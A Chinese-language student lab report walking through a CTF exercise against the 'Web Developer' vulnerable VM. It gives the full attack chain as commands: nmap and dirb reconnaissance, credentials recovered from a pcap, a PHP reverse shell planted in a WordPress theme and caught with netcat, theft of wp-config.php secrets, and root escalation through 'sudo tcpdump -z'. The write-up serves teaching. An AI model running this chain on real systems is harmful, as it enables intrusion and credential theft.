- 实验目的
通过对目标靶机的透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
- 实验内容、原理
目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
实施细节如下:
1、发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。
2、:利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)
3、若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?
4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?
5、网络搜索wpscan,简要说明其功能。
6、使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一个似乎和网络流量有关的目录(路径)。
5、浏览器访问该目录(路径),发现一个cap文件。截图。
6、利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。
7、利用上一步得到的信息进入网站后台。截图。
(网站管理员账号与操作系统账号是不同概念)
8、利用该CMS存在的(插件Plugin)漏洞。
9、利用该插件漏洞提权。
3. 实验过程
1:先用指令“ifconfig”虚拟机ip,我的是192.168.85.128
再用指令“nmap 192.168.85.1-255”寻找出靶机ip:192.168.85.133
2.可以看到端口开放有:
端口22,22端口是ssh服务,端口22可以实现远程连接
端口80,80端口是HTTP服务,80是为http协议开放的
- 上图可以查询到靶机IP,用火狐浏览器访问
刚开始点开觉得没啥有用信息,然后看到下面有“log in”点进去是需要账号密码登入的
- 用指令“wahtweb+靶机ip”
metagenerator的信息wordpress4.9.8即网站的cms
- Wpscan
这是一款Wordpress的专用扫描器,Wordpress作为三大建站模板之一,在全世界范围内有大量的用户,这也导致白帽子都会去跟踪wordpress的安全漏洞,Wordpress自诞生起也出现了很多漏洞。Wordpress还可以使用插件、主题。于是Wordpress本身很难挖掘什么安全问题的时候,安全研究者开始研究其插件、主题的漏洞。通过插件、主题的漏洞去渗透Wordpress站点,于是WPScan应运而生,收集Wordpress的各种漏洞,形成一个Wordpress专用扫描器。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
- 用指令“dirb http://靶机ip”
就会得到ipdata即网络数据
用浏览器访问http://192.168.85.133/ipdata/
点击1下载,就会得到2的数据包,点ok保存
- 在kali打开wiershark
打开刚刚下载的analyze.cap
就会得到账号密码
- 浏览器回到刚刚log in,输入账号密码登入到后台
9.上传反弹shell。
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。
功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】
该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。
打开下载后的文件复制代码
打开后台网址操作前四个步骤,第三有15,16,17这几个,我的同学用了15,不过我用16也得,
第五步先把原代码删掉,再复制刚刚下载的,然后更改IP(虚拟机ip)和端口(4444),再Update Fire
然后用NC监听,先在浏览器打开修改的目录“http://192.168.85.133//wp-content/themes/twentyfifteen/404.php”
再在终端模拟器输入指令“nc -lvp 4444 ”,这样表示连接成功
再输入指令“cat var/www/html/wp-config.php”回车就得到账号密码
再输入指令“ssh webdeveloper@ip”
第二部要输入“yes”
第三步的密码就是上面得到的,直接复制粘贴就好了
依次输入以下几个口令发现没有权限,需要输入密码,尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器
创建攻击文件
touch /tmp/exploit1
写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
就可以得到flag
给出tcpdump的命令详解:
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [nm] 指定抓包数量